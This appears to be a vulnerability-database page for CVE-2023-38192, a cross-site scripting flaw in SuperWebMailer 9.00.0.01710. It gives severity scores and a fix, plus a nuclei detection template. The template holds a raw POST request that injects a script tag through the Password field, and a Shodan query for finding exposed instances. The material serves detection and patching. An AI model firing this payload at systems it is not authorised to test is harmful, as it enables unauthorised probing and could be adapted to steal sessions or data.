HexBrain

Browse / CVEs / CVE-2023-38192

CVE-2023-38192· superwebmailer / superwebmailer· CWE-79

SuperWebMailer 9.00.0.01710 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.2%likelihood of exploitation, next 30 days
67%of all CVEs are less likely
Readycheck to confirm it

An issue was discovered in SuperWebMailer 9.00.0.01710 allowing XSS via crafted incorrect passwords.

Impact

Successful exploitation could lead to unauthorized access or data theft.

Fix

Implement input validation and output encoding to prevent XSS attacks.

How to confirm it

Send: POST /superadmincreate.php
Positive when: contains "Password\" value=\"a\"><script>alert(document.domain);</script>" and "SuperWebMailer" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-38192 -u <target>

The full check
id: CVE-2023-38192

info:
  name: SuperWebMailer 9.00.0.01710 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    An issue was discovered in SuperWebMailer 9.00.0.01710 allowing XSS via crafted incorrect passwords.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Implement input validation and output encoding to prevent XSS attacks.
  reference:
    - https://herolab.usd.de/security-advisories/usd-2023-0011/
    - https://herolab.usd.de/security-advisories/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38192
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38192
    cwe-id: CWE-79
    epss-score: 0.01155
    epss-percentile: 0.67268
    cpe: cpe:2.3:a:superwebmailer:superwebmailer:9.00.0.01710:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: superwebmailer
    product: superwebmailer
    shodan-query: title:"SuperWebMailer"
  tags: cve,cve2023,superwebmailer,xss,vkev,vuln

http:
  - raw:
      - |
        POST /superadmincreate.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        Password=a"><script>alert(document.domain);</script>&PasswordAgain=b&Language=de&SubmitBtn=Nutzer+erstellen

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Password" value="a"><script>alert(document.domain);</script>'
          - 'SuperWebMailer'
        condition: and
        case-insensitive: true

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from